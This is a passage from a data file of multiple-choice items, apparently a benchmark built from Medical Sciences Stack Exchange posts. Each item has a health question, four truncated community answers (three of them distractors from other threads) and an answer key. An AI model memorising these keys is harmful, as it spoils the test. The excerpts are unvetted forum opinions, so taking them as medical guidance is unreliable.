Rau M. Unsupported labeling of race as a risk factor for certain diseases in a widely used medical textbook....", "D": "Let's get a few things out of the way... Sex is normal ( 1 ). Sexual desire and arousal are normal ( 2 ). Asexuality is normal ( 3 ). Masturbation is normal ( 4 ),( 5 ). There is no problem whatsoever with these three things, although everyone blushes when they talk about them. Is Masturbation healthy? Downsides : Masturbation is not risk free. It is about as dangerous as chewing or walking ( 6 ). Some side effects are irritated skin and ruptured penis, but only if you really, really, really overdo it (Once or twice a day..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/874/how-do-i-know-if-im-flossing-correctly"} {"id": "medicine_18672", "domain": "medicine", "question_title": "Father gets chickenpox, but doesn't infect his two children. How is this possible?", "question_body": "My brother in law got chickenpox, yet somehow he didn't infect my two nephews, even though they are living together. According to wikipedia, varicella has an infection rate of 90%: Varicella is highly communicable, with an infection rate of 90% in close contacts. https://en.wikipedia.org/wiki/Chickenpox He got varicella over a week ago and the children are completely healthy, even though they have not had the disease yet nor are they vaccinated against it. How is this possible? Is the infection rate actually lower, than 90%? Is an outcome like this usual or plausible? edit: they did end up getting sick after all.", "question_score": 22, "question_tags": ["infection", "vaccination", "virus", "infectious-diseases", "chickenpox"], "choices": {"A": "To add to @BryanKrause's answer re: rare events happen all the time, the children are not out of the woods yet. The mean incubation time for a primary VZV infection (the clinical syndrome known as chicken pox) is 14 days, but often lasts up to 21 days (see Murray Medical Microbiology, Ch. 53). The father is infectious while shedding virus, usually via the lungs. This correlates with the period of time a patient is febrile. I wouldn't say the father didn't infect his children until he has been afebrile for 21 days.", "B": "What your government is proposing is a lot less than what was actually done in China. There, and perhaps that is still the case, large numbers of asymptomatic infected people were housed together in halls with only social separation between them, and masks to prevent others from infecting others. Your government is proposing to house the asymptomatic infected in hotels, presumably in separate rooms. We know that people who are infected because they have virus identified using PCR swabs of their upper airways. CT scans can show pulmonary lesions present even without cough or fever. And even speaking can aerosolize...", "C": "tl;dr Current research seems to indicate that the brain is responding to anticipation or visual stimulus of needles being inserted, not that any of the theories supporting acupuncture are correct. Steven Novella reviewed the following article : Chae Y, Lee IS, Jung WM, Park K, Park HJ, Wallraven C. Psychophysical and neurophysiological responses to acupuncture stimulation to incorporated rubber hand. Neurosci Lett. 2015 Feb 11;591C:48-52. doi: 10.1016/j.neulet.2015.02.025. I'm going to quote from Novella's review because it's easier for a lay person to read/understand, and I don't have full access to the paper. As background, he states: There have been in...", "D": "It is likely you are not hearing the ultrasound itself (typical frequencies are upwards of 1 MHz , far beyond what the human hearing system is capable of detecting). You are probably hearing coil whine from the electronics -- switched-mode power supplies in particular tend to operate towards the upper end of the hearing range, and the intensity of this sound changes as the power consumption does (eg. when the imaging system goes from \"idle\" to \"active\")."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/18672/father-gets-chickenpox-but-doesnt-infect-his-two-children-how-is-this-possibl"} {"id": "medicine_22796", "domain": "medicine", "question_title": "What is the main way COVID-19 spreads?", "question_body": "Reading numerous news articles about COVID-19, I got confused as to what is its main transmission route. In particular, I am confused as to whether it is direct landing of respiratory droplets in mouths and noses, contaminated surfaces, aerosols (i.e., suspensions of the virus in the air rather than respiratory droplets quickly landing in mouths or noses or on surfaces), or something else. On the one hand, the website of the Centers for Disease Control and Prevention (CDC) says that contaminated surfaces are not thought to be the main transmission route: It may be possible that a person can get COVID-19 by touching a surface or object that has the virus on it and then touching their own mouth, nose, or possibly their eyes, but this is not thought to be the main way the virus spreads. ( Link ) The same website appears to suggest that the main transmission route is direct landing of respiratory droplets in mouths and noses: The virus is thought to spread mainly from person-to-person. Between people who are in close contact with one another (within about 6 feet). Through respiratory droplets produced when an infected person coughs or sneezes. These droplets can land in the mouths or noses of people who are nearby or possibly be inhaled into the lungs. On the other hand, the World Health Organization (WHO), like many other agencies, puts the main emphasis on washing hands. Here is the WHO's first and foremost piece of advice on how to prevent getting infected with the virus: Regularly and thoroughly clean your hands with an alcohol-based hand rub or wash them with soap and water. Why? Washing your hands with soap and water or using alcohol-based hand rub kills viruses that may be on your hands. ( Link ) Social distancing is mentioned on that webpage only as a second piece of advice, and, furthermore, the webpage implies that it is safe to approach coughing people as close as 1 meter away: Maintain at least 1 metre (3 feet) distance between yourself and anyone who is coughing or sneezing. Furthermore, I found an article saying that the virus wasn't detected in the air of hospital rooms with COVID-19 patients, but was detected on surfaces: When researchers in Singapore tested the air in the rooms of three Covid-19 patients, they found no virus particles on cleaned surfaces or in the air even when they took samples on days the patients were symptomatic and presumably shedding virus into the air, they reported this month in the Journal of the American Medical Association. In the room of the third patient, who shed more virus, virus particles were present on ventilation fans and numerous surfaces — but all air samples were negative. ( Link ) But the same article also says that Chinese researchers found COVID-19 aerosols near patients' toilets. My question: Actually what is the main way COVID-19 spreads?", "question_score": 21, "question_tags": ["covid-19", "infection", "virus", "epidemiology", "coronavirus"], "choices": {"A": "Ear tubes do many things to help ear infections. The most important things they do are draining the ear of fluid and ventilating the ear. Overall, this will help your child hear better. The tubes also stop fluid from building up behind the ear drum, which should help prevent the ear infections. Stuff to watch out for There is always the possibility of ear infections coming back after the 6-12 months that the tubes will be in. There is also a minor chance of hearing loss because of scarring of the ear drum. The tube can become blocked, stopping it...", "B": "Assuming the person is not taking anticoagulants, it's actually quite difficult to bleed to death from dismemberment of small members (hands, feet, penis, ears, nose, etc). Even large members such as arms and legs are often survivable because the body is very good at protecting itself from blood loss. For example, transected arteries will spasm and clamp off blood flow, and loss of blood will cause the body to divert blood flow away from the extremities and to the vital organs, thereby slowing the bleeding and allowing it to clot. In fact, the whole shock process can be viewed as...", "C": "The confusion exists because there are conflicting pronouncements from various authoritative sources but also conflicting pronouncements from the same authority. Covid-19 is a respiratory infection spread by droplets that can be aerosolized (nuclear droplets) in certain situations such as by flushing toilets or in certain medical procedures such as intubation. However, it reaches the air it contaminates surfaces and this allows for the infection to be caught through the eyes nose and mouth with the virus being transferred from the hand. The data from Singapore and Taiwan show that handwashing and social distancing are successful in preventing disease transmission. However,...", "D": "Let's get a few things out of the way... Sex is normal ( 1 ). Sexual desire and arousal are normal ( 2 ). Asexuality is normal ( 3 ). Masturbation is normal ( 4 ),( 5 ). There is no problem whatsoever with these three things, although everyone blushes when they talk about them. Is Masturbation healthy? Downsides : Masturbation is not risk free. It is about as dangerous as chewing or walking ( 6 ). Some side effects are irritated skin and ruptured penis, but only if you really, really, really overdo it (Once or twice a day..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/22796/what-is-the-main-way-covid-19-spreads"} {"id": "medicine_26258", "domain": "medicine", "question_title": "Is SM-102 a safe ingredient in the Moderna vaccine, despite these safety warnings?", "question_body": "I recently saw a post online which called into question the safety of the Moderna vaccine through an interesting argument. One of the ingredients in the Moderna COVID-19 vaccine is the ionizable amino lipid SM-102. [Source] Information about this chemical can be found on this website . As expected, the description of this chemical is the following: SM-102 is an ionizable amino lipid that has been used in combination with other lipids in the formation of lipid nanoparticles.1 Administration of luciferase mRNA in SM-102-containing lipid nanoparticles induces hepatic luciferase expression in mice. Formulations containing SM-102 have been used in the development of lipid nanoparticles for delivery of mRNA-based vaccines. However, as a standalone chemical it seems to have many safety warnings and hazards. This information is available on the accompanying safety data sheet for SM-102 . Here are some of the listed hazards: WARNING This product is not for human or veterinary use. H310 Fatal in contact with skin. H351 Suspected of causing cancer H372 Causes damage to the central nervous system, the kidneys, the liver and the respiratory system through prolonged or repeated exposure. Now, my presumption is that these hazards are supposed to be overly cautionary, and also only apply to the direct handling of the raw chemical. But many people do not see it this way, and thus are reasonably skeptical about the safety of the Moderna vaccine. So, I have a couple questions: Questions. Are all these hazards relevant to the chemical's pharmacological use as part of an mRNA vaccine? Why? How are these hazards determined in the first place? Are there examples of other chemicals with similar hazards/warnings, which are ingredients in common medical drugs? Opposite to the previous question, are there chemicals with little to no hazards/warnings, which nevertheless form key components to actually dangerous drugs?", "question_score": 21, "question_tags": ["covid-19", "vaccination", "safety", "lipids"], "choices": {"A": "The MSDS linked to is for a product sold as a solution of 10% SM-102 in 90% chloroform. It's listed as \"SM-102\" because that's the interesting/useful thing that the company is selling. It's common for chemicals to be sold packaged with solvents to make a solution. Sometimes that solvent is just water, but if the product is not water-soluble in sufficient concentrations then other solvents may be necessary. Alcohol solutions are quite common, but for more hydrophobic chemicals it may be necessary to use more \"exotic\" solvents. Because chloroform is quite a dangerous chemical for people to be exposed to...", "B": "In the blister shown, the likelihood of rupture is decreased because of the thickness of the epidermis on the palm of the hand, so you can leave it alone until the underlying area re-epithelializes. You'll know this is happening because of the decreased pain and the slow reabsorption of the fluid. Eventually you will just peal it off what's left of the blister, finding clean new skin underneath. But this is a great starting point for an answer about the treatment of blisters in general: is it better to leave them alone, drain the fluid, or de-roof them (take the...", "C": "Your question contains a lot of misconceptions. A cure is definitely possible A cure could be found, proved, and proved safe, more quickly than a vaccine People and firms that could be working on cures are choosing to work on vaccines None of these are correct. Most virus-caused diseases have no cure: colds, Zika, Dengue, and so on. A tiny handful have treatments that can ease the course of the disease: you've heard of Tamiflu and so on. And some can be actually cured with medication. So the first assumption, that a cure exists to be found, is not a...", "D": "To add to @BryanKrause's answer re: rare events happen all the time, the children are not out of the woods yet. The mean incubation time for a primary VZV infection (the clinical syndrome known as chicken pox) is 14 days, but often lasts up to 21 days (see Murray Medical Microbiology, Ch. 53). The father is infectious while shedding virus, usually via the lungs. This correlates with the period of time a patient is febrile. I wouldn't say the father didn't infect his children until he has been afebrile for 21 days."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/26258/is-sm-102-a-safe-ingredient-in-the-moderna-vaccine-despite-these-safety-warning"} {"id": "medicine_489", "domain": "medicine", "question_title": "Is there any proof that acupuncture is an effective pain remedy?", "question_body": "I have heard of acupuncture being used for pain management. Are there clear scientific proofs that indicate it is more effective than a placebo treatment for pain? If so what types of pain has it been shown to effective for?", "question_score": 20, "question_tags": ["pain", "treatment-options", "effectiveness", "placebo", "acupuncture"], "choices": {"A": "People could develop antibodies from natural exposure to the virus. The vaccine is trying to cause antibodies to exist in more people (and/or more strongly) than would express them naturally, therefore a good comparison group is a sample taken randomly in the same way as those getting the vaccine: a placebo group. At the same time, these trials tend to assess safety outcomes; again, to assess safety you want to know that effects are no worse than those in some comparison population. Comparing to placebo is typically a gold standard for this comparison. You're right that a placebo wouldn't be...", "B": "There is evidence that neonatal circumcision saying that the benefits of circumcision outweigh the risks. According to a study done on neonatal circumcision [1] , the lifetime benefits of being circumcised outweighed the risks 100 to 1. Some of the risks people may associate with circumcision are very unlikely. Excessive bleeding only happens 0.1% of the time, infections 0.02% of the time, and loss of penis 0.0001% of the time. The percentage of death is only 0.00001%. Overall, it shows that males who have been circumcised require half as much medical attention as males who have not been circumcised. Also,...", "C": "tl;dr Current research seems to indicate that the brain is responding to anticipation or visual stimulus of needles being inserted, not that any of the theories supporting acupuncture are correct. Steven Novella reviewed the following article : Chae Y, Lee IS, Jung WM, Park K, Park HJ, Wallraven C. Psychophysical and neurophysiological responses to acupuncture stimulation to incorporated rubber hand. Neurosci Lett. 2015 Feb 11;591C:48-52. doi: 10.1016/j.neulet.2015.02.025. I'm going to quote from Novella's review because it's easier for a lay person to read/understand, and I don't have full access to the paper. As background, he states: There have been in...", "D": "Products high in calcium and magnesium should not be taken at the same time as antibiotics of the tetracycline (tetracycline, doxicycline, etc.) class, and milk should also be avoided with the quinolone class. They have the ability to bind the antibiotic in the gut, decreasing absorption. There is no reason to avoid dairy products while taking other antibiotics (such as the penicillin class, the one you're taking. The clavulanic acid is to increase it's strength against certain bacteria.) If the antibiotic package insert (or the pharmacists's instruction sheet) states it should be taken on an empty stomach, take it with..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/489/is-there-any-proof-that-acupuncture-is-an-effective-pain-remedy"} {"id": "medicine_14355", "domain": "medicine", "question_title": "Why do drugs expire?", "question_body": "I've googled through internet, and all I found was \"what expiration dates mean\". I found nothing about the underlying mechanism of expiration. As drugs are chemicals, why do they expire? Are there chemical reactions that produce other chemicals?", "question_score": 20, "question_tags": ["expiration-dates"], "choices": {"A": "Drug molecules, even when stored safely inside a tablet\\capsule, inside a closed container, upon a high shelf (hopefully), are still exposed to the environment, and are thus exposed to all of the chemical processes and reactions that go about all around us (to name just a few - oxidation, hydrolysis, isomerization, polymerization, and more). Depending on the type of drug molecule and its functional groups, the molecule may undergo all kinds of chemical processes that may change its structure and\\or properties. Therefore, drugs (and foodstuffs, as mentioned in the comment above) degrade and decompose over time, and are thus given...", "B": "In the blister shown, the likelihood of rupture is decreased because of the thickness of the epidermis on the palm of the hand, so you can leave it alone until the underlying area re-epithelializes. You'll know this is happening because of the decreased pain and the slow reabsorption of the fluid. Eventually you will just peal it off what's left of the blister, finding clean new skin underneath. But this is a great starting point for an answer about the treatment of blisters in general: is it better to leave them alone, drain the fluid, or de-roof them (take the...", "C": "In general, the benefit of flu shots is to the general population. Taking the cited value of 40%-60% from the CDC, we can say that it might be a coin toss for you personally to be protected from influenza by the shot. However, if many thousands of people take the flu shot, even if it only works on 40% of them, it helps protect the remaining population from the spread of the virus (AKA herd immunity). This is especially important to those within the population who cannot access the shot or cannot receive it due to a preexisting medical condition....", "D": "Your question contains a lot of misconceptions. A cure is definitely possible A cure could be found, proved, and proved safe, more quickly than a vaccine People and firms that could be working on cures are choosing to work on vaccines None of these are correct. Most virus-caused diseases have no cure: colds, Zika, Dengue, and so on. A tiny handful have treatments that can ease the course of the disease: you've heard of Tamiflu and so on. And some can be actually cured with medication. So the first assumption, that a cure exists to be found, is not a..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/14355/why-do-drugs-expire"} {"id": "medicine_21337", "domain": "medicine", "question_title": "How accurate are coronavirus tests?", "question_body": "As of time of writing it's quite common to see headlines about so-and-so who have tested positive for Covid-19, e.g. Canadian PM Justin Trudeau's wife, Sophie, tests positive for coronavirus, officials say However, these articles don't usually say how reliable the testing is. I couldn't find any recent information on it via Google, either (there are some results, e.g. this , but they are old). How accurate are the tests? What are the odds that Sophie Trudeau's results are a false positive, or that Justin Trudeau's negative result is a false negative?", "question_score": 20, "question_tags": ["covid-19"], "choices": {"A": "Short answer: Sophie Trudeau's positive test may still mean 3 : 1 odds of not having contracted Covid-19, but the odds could also be far more towards having Covid-19. Justin Trudeau's negative test almost certainly means he was negative when tested. Of course, should Sophie be positive, that may have changed by now. Update: I found a web page of the FDA listing tests that have this Emergency Use Approval . Each of them has manufacturer instuctions that list their test results towards the end. Some of the submitted test results use ≈100 negative samples in the clinical evaluation. But...", "B": "The only approved inhaled vaccine is the flu vaccine delivered intra-nasally. It uses a live attenuated virus. There are a whole list of people who should not receive it because it's a live virus, and it works better for children, but only is 40% effective for adults. The main issue is The intranasal LAIV, recommended for children above the age of 2 years, induces a broader immune response wherein protection is not antibody mediated and probably involves undefined multiple correlates of protection. and that's with a live virus. How well would a dead inhaled virus work? Well, we have some...", "C": "People could develop antibodies from natural exposure to the virus. The vaccine is trying to cause antibodies to exist in more people (and/or more strongly) than would express them naturally, therefore a good comparison group is a sample taken randomly in the same way as those getting the vaccine: a placebo group. At the same time, these trials tend to assess safety outcomes; again, to assess safety you want to know that effects are no worse than those in some comparison population. Comparing to placebo is typically a gold standard for this comparison. You're right that a placebo wouldn't be...", "D": "The short version is that in 2016 the polio vaccine changed. A more thorough explanation requires some background on the immunology of polio and its vaccines, which is not straightforward. Polio virus is usually harmless, it reproduces in the gut and spreads through a fecal-oral route. In ~99% of infections it only causes mild diarrhea. In the remaining 1% of cases, however, it gets into the bloodstream and from there enters nerves, causing paralysis and/or respiratory failure. There are two types of vaccine: inactivated polio vaccine (IPV) and oral polio vaccine (OPV). IPV is a shot of killed virus particles..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/21337/how-accurate-are-coronavirus-tests"} {"id": "medicine_1258", "domain": "medicine", "question_title": "Do you bleed to death after your penis is cut off?", "question_body": "I wonder If a person without knowledge and tools cuts off somebody's penis and then doesn't call an ambulance immediately, is there a chance a person may not bleed to death within a short time? I would also like to know if you can still urinate, while the cutting is done without some tool you put into urethra? I haven't found much related to this topic.", "question_score": 19, "question_tags": ["removal", "urinary-system", "penis", "death"], "choices": {"A": "Assuming the person is not taking anticoagulants, it's actually quite difficult to bleed to death from dismemberment of small members (hands, feet, penis, ears, nose, etc). Even large members such as arms and legs are often survivable because the body is very good at protecting itself from blood loss. For example, transected arteries will spasm and clamp off blood flow, and loss of blood will cause the body to divert blood flow away from the extremities and to the vital organs, thereby slowing the bleeding and allowing it to clot. In fact, the whole shock process can be viewed as...", "B": "Great question! I think it's answerable as an overview, but please know this is only the tip of the iceberg.* Summary : Yes, we have deficits of certain blood products in certain locations at certain times that affect patient care. However, a small percentage of blood product does expire unused (because it wasn't the right product [see background] in the right place at the right time). A little background Donated blood is not usually transfused into a patient as whole blood. Instead, it's broken down into several components which are transfused in different clinical scenarios. The issues of storage and...", "C": "Drug molecules, even when stored safely inside a tablet\\capsule, inside a closed container, upon a high shelf (hopefully), are still exposed to the environment, and are thus exposed to all of the chemical processes and reactions that go about all around us (to name just a few - oxidation, hydrolysis, isomerization, polymerization, and more). Depending on the type of drug molecule and its functional groups, the molecule may undergo all kinds of chemical processes that may change its structure and\\or properties. Therefore, drugs (and foodstuffs, as mentioned in the comment above) degrade and decompose over time, and are thus given...", "D": "I'm guessing the \"iron\" test was actually a hemoglobin test (though I'm certainly no expert in blood donation screens...). I suspect your nurse is reporting a folk tale rather than any true difference. Unfortunately, medical professionals are not always an excellent source of scientific knowledge. I looked for papers that have actually compared measurements in the two hands. Here's one: Patel, A. J., Wesley, R., Leitman, S. F., & Bryant, B. J. (2013). Capillary versus venous haemoglobin determination in the assessment of healthy blood donors. Vox sanguinis, 104(4), 317–323. https://doi.org/10.1111/vox.12006 Capillary fingerstick samples were assayed by HemoCue in 150 donors...."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/1258/do-you-bleed-to-death-after-your-penis-is-cut-off"} {"id": "medicine_23505", "domain": "medicine", "question_title": "Why will there be vaccines first before a cure for COVID-19?", "question_body": "I found this link on the internet: 70 vaccines are getting ready for coronavirus: 3 very promising Why is it that there will be vaccines before a cure? Shouldn't it be the other way around? What is the reason for the vaccine first then the cure?", "question_score": 18, "question_tags": ["covid-19", "vaccination", "coronavirus"], "choices": {"A": "Your question contains a lot of misconceptions. A cure is definitely possible A cure could be found, proved, and proved safe, more quickly than a vaccine People and firms that could be working on cures are choosing to work on vaccines None of these are correct. Most virus-caused diseases have no cure: colds, Zika, Dengue, and so on. A tiny handful have treatments that can ease the course of the disease: you've heard of Tamiflu and so on. And some can be actually cured with medication. So the first assumption, that a cure exists to be found, is not a...", "B": "Overall, there has been inconsistent data on the effects of using zinc lozenges to treat the common cold. Most studies have also been done on children, which may lead to more uncertainty about its effects on adults, but some of the studies I will mention have been tested on adults. One study showed the effects of using zinc to prevent the common cold in schoolchildren. They found that between the two groups they studied (one took zinc sulfate tablets, the other placebos) that the zinc-supplemented group had less of a chance of getting the cold. They concluded that zinc supplements...", "C": "Assuming the person is not taking anticoagulants, it's actually quite difficult to bleed to death from dismemberment of small members (hands, feet, penis, ears, nose, etc). Even large members such as arms and legs are often survivable because the body is very good at protecting itself from blood loss. For example, transected arteries will spasm and clamp off blood flow, and loss of blood will cause the body to divert blood flow away from the extremities and to the vital organs, thereby slowing the bleeding and allowing it to clot. In fact, the whole shock process can be viewed as...", "D": "One of the primary purposes of corticosteroids is to suppress immune activity and inflammation: that's exactly why they are used in asthma. Of course the immune system has an actual job besides causing nuisance inflammation: fighting infection. For some infections, the harm to the infected person caused by the immune reaction itself is worse than that of the pathogen itself, so steroids can help prevent damage or ease symptoms while the immune system continues to mount a response, without being hyper active. For others, immune suppression may be detrimental. Corticosteroids mediate the immune response by suppressing a variety of cytokines..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/23505/why-will-there-be-vaccines-first-before-a-cure-for-covid-19"} {"id": "medicine_1164", "domain": "medicine", "question_title": "Advantages of transition from non-vegetarian to vegetarian", "question_body": "Influenced by PETA, a lot of people have already changed to vegan status. I would like to know how well the transition may work? It can be either in a physical or mental way. Some have changed for religious views, some for humanitarian reasons. But I would like to know the health beneficial aspects.", "question_score": 17, "question_tags": ["vegetarianism", "non-vegetarianism"], "choices": {"A": "In the blister shown, the likelihood of rupture is decreased because of the thickness of the epidermis on the palm of the hand, so you can leave it alone until the underlying area re-epithelializes. You'll know this is happening because of the decreased pain and the slow reabsorption of the fluid. Eventually you will just peal it off what's left of the blister, finding clean new skin underneath. But this is a great starting point for an answer about the treatment of blisters in general: is it better to leave them alone, drain the fluid, or de-roof them (take the...", "B": "This is a question that cannot be answered by a simple yes or no. As a vegetarian for health purposes (who was a vegan for 1 year) I say that the human isn't supposed to be vegetarian, but rather an opportunistic omnivore. The fact that we can eat meat doesn't mean we have to. Most of people that went from non-vegetarian to vegetarian (no meat, no fish) felt better the following weeks, however the reasons could be numerous and ambiguous: Maybe they were eating too much meat until they stopped ? Maybe the meat they were buying was bad quality...", "C": "Your question contains a lot of misconceptions. A cure is definitely possible A cure could be found, proved, and proved safe, more quickly than a vaccine People and firms that could be working on cures are choosing to work on vaccines None of these are correct. Most virus-caused diseases have no cure: colds, Zika, Dengue, and so on. A tiny handful have treatments that can ease the course of the disease: you've heard of Tamiflu and so on. And some can be actually cured with medication. So the first assumption, that a cure exists to be found, is not a...", "D": "Let's get a few things out of the way... Sex is normal ( 1 ). Sexual desire and arousal are normal ( 2 ). Asexuality is normal ( 3 ). Masturbation is normal ( 4 ),( 5 ). There is no problem whatsoever with these three things, although everyone blushes when they talk about them. Is Masturbation healthy? Downsides : Masturbation is not risk free. It is about as dangerous as chewing or walking ( 6 ). Some side effects are irritated skin and ruptured penis, but only if you really, really, really overdo it (Once or twice a day..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/1164/advantages-of-transition-from-non-vegetarian-to-vegetarian"} {"id": "medicine_13545", "domain": "medicine", "question_title": "Why is thalidomide a current drug on the market?", "question_body": "Given the thalidomide birth defect disaster of the 1960s, why was it later approved by the U.S. FDA for treatment of leprosy (1996) and of multiple myeloma (2006)? Presumably, the teratogenic issues and problems with permanent nerve damage didn't go away, as the liver can convert the \"good\" enantiomer to the \"bad.\" Thalidomide affects even non-pregnant women, so why approve a drug with known severe complications?", "question_score": 17, "question_tags": ["medications", "drug-metabolism"], "choices": {"A": "The MSDS linked to is for a product sold as a solution of 10% SM-102 in 90% chloroform. It's listed as \"SM-102\" because that's the interesting/useful thing that the company is selling. It's common for chemicals to be sold packaged with solvents to make a solution. Sometimes that solvent is just water, but if the product is not water-soluble in sufficient concentrations then other solvents may be necessary. Alcohol solutions are quite common, but for more hydrophobic chemicals it may be necessary to use more \"exotic\" solvents. Because chloroform is quite a dangerous chemical for people to be exposed to...", "B": "Because leprosy and multiple myeloma are conditions for which other treatment options are limited. All treatments have side effects, some more debilitating than others. The trick with pharmacology is to balance the benefit of treatment with the hazards of the side effects. Take cancer chemotherapy. The drugs we use for cancer chemotherapy are horrible poisons. We literally use derivatives of chemical weapons to treat cancer. Why do we deliberately poison cancer patients with what amounts to a weapon of mass destruction? Because if we don't, the cancer will kill them. In pharmacology there's a concept of a therapeutic window ....", "C": "It is not possible. The regulation of human body temperature (thermoregulation) is very subtle. Wikipedia article about thermoregulation contains a very nice graph about that mechanism. The labels are not described in the text in detail and the reference in the caption does not include this picture. Picture is a work by one JW Dietrich and I also searched PubMed for this guy, but he has no works on this topic. Another more pragmatic picture is here. Fever or increased body temperature is almost solely caused by to the production prostaglandin E2 (PGE2) . PGE2 acts on the hypothalamus or...", "D": "Your question contains a lot of misconceptions. A cure is definitely possible A cure could be found, proved, and proved safe, more quickly than a vaccine People and firms that could be working on cures are choosing to work on vaccines None of these are correct. Most virus-caused diseases have no cure: colds, Zika, Dengue, and so on. A tiny handful have treatments that can ease the course of the disease: you've heard of Tamiflu and so on. And some can be actually cured with medication. So the first assumption, that a cure exists to be found, is not a..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/13545/why-is-thalidomide-a-current-drug-on-the-market"} {"id": "medicine_315", "domain": "medicine", "question_title": "How are ratios for one person CPR arrived at?", "question_body": "I have not had a CPR (Cardiopulmonary resuscitation) class in 10 or more years, but I used to take them all the time ( like yearly ). For one person CPR the ratio of compression to breaths was always changing. In the US there were two major providers of approved CPR training, It was not unusual for both to have different ratios as \"the correct value\" at the same time, and the following year, one or both would be different. How are the ratios determined? What impact if any do minor changes in the ratio have?", "question_score": 16, "question_tags": ["first-aid", "cpr", "research"], "choices": {"A": "Note: The following is excerpted from an article written in 2005. For lay (Non trained) people, there are more updated recommendations. The following is an example of the process, not the current recommendations. To be effective, CPR must restore adequate coronary and cerebral blood flow. Interruptions in chest compressions lower coronary perfusion pressure and decrease rates of survival from cardiac arrest. In the first minutes of VF SCA, ventilation does not appear to be as important as chest compressions, but it does appear to contribute to survival from prolonged and asphyxial arrest. Certainly the ventilation rate needed to maintain a...", "B": "People could develop antibodies from natural exposure to the virus. The vaccine is trying to cause antibodies to exist in more people (and/or more strongly) than would express them naturally, therefore a good comparison group is a sample taken randomly in the same way as those getting the vaccine: a placebo group. At the same time, these trials tend to assess safety outcomes; again, to assess safety you want to know that effects are no worse than those in some comparison population. Comparing to placebo is typically a gold standard for this comparison. You're right that a placebo wouldn't be...", "C": "I believe that those lines are craze lines. \"Craze lines are merely cracks in the enamel that do not extend into the dentin.\" They occur because of stress in your teeth, ie: grinding your teeth, biting your nails, and even routine use of your teeth. What you've said also matches up with craze lines in that you don't experience any pain. Those craze lines aren't nearly as bad as some other teeth. Craze lines rarely lead to tooth breakdown, so you almost definitely won't have to get them replaced. There are some studies that say that craze lines may be...", "D": "The seasonal coronaviruses attach exclusively to cells with a ciliated epithelium. Coronaviruses invade the respiratory tract via the nose. After an incubation period of about 3 days, they cause the symptoms of a common cold, including nasal obstruction, sneezing, runny nose, and occasionally cough (Figs. 60-1 and 60-2). The disease resolves in a few days, during which virus is shed in nasal secretions. There is some evidence that the respiratory coronaviruses can cause disease of the lower airways but it is unlikely that this is due to direct invasion. Other manifestations of disease such as multiple sclerosis have been attributed..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/315/how-are-ratios-for-one-person-cpr-arrived-at"} {"id": "medicine_806", "domain": "medicine", "question_title": "How do antihistamines work?", "question_body": "We recently got some new kittens and my step son is allergic to them. He mostly suffers from a runny nose, but also had itchy eye last night after he Left a robe in the kitten room all day Put it on after getting home from school Kept scratching his eye after playing with the kittens etc. Anyway, so he's trying an antihistamine to see if this will combat the allergies. From sites like WebMD I've read that the cat allergy is an overreaction of his immune system. Is the antihistamine doing something regarding his immune's system reaction or is it doing something about the symptoms? How does it work? Will his immune system learn how to behave whilst taking antihistamines? Would the process of learning be better or worse for taking them?", "question_score": 16, "question_tags": ["allergy"], "choices": {"A": "Assuming the person is not taking anticoagulants, it's actually quite difficult to bleed to death from dismemberment of small members (hands, feet, penis, ears, nose, etc). Even large members such as arms and legs are often survivable because the body is very good at protecting itself from blood loss. For example, transected arteries will spasm and clamp off blood flow, and loss of blood will cause the body to divert blood flow away from the extremities and to the vital organs, thereby slowing the bleeding and allowing it to clot. In fact, the whole shock process can be viewed as...", "B": "A very brief review of an allergic response is in order so that the answer makes sense. Think of a linked chain of events here. An \"allergen\" is something a person is allergic to, e.g., cat dander or pollen. When someone is exposed to an allergen, they either become allergic or not. In a susceptible individual, something in the allergen (called an antigen, usually a protein of some kind) causes the person's immune system to produce an antibody (or Immunoglubin, in this case Immunoglobin E, or IgE) to the antigen, which then circulates throughout the entire system. The individual is...", "C": "The definition of mortality rate that you've given does not match any practical definition I'm familiar with.* When people talk about the mortality rate of a disease, what they usually mean is the case fatality rate or the death-to-case ratio , which is simply defined as N d / N i , where N d is the number of deaths attributed to the disease over a given time period and N i is the total number of new cases of the disease observed during the same time period. By this definition, the current case fatality rate of 2019-nCov according to...", "D": "Most dentists - for most procedures - aim for a painless experience. If there is reason to keep some pain sensation intact, the dentist will inform you, and ask at appropriate intervals if you can feel pain. The efficacy of lidocaine and other local anesthetics depends on how closely your nerve distribution comes to the norm (they will inject the environs of the \"normal\" anatomical position of the nerve), how much anesthetic is injected, whether there are local factors which alter the local tissue pH (e.g. presence of an abscess or infection), how quickly it is removed from the site,..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/806/how-do-antihistamines-work"} {"id": "medicine_4058", "domain": "medicine", "question_title": "Are there any side effects to cracking 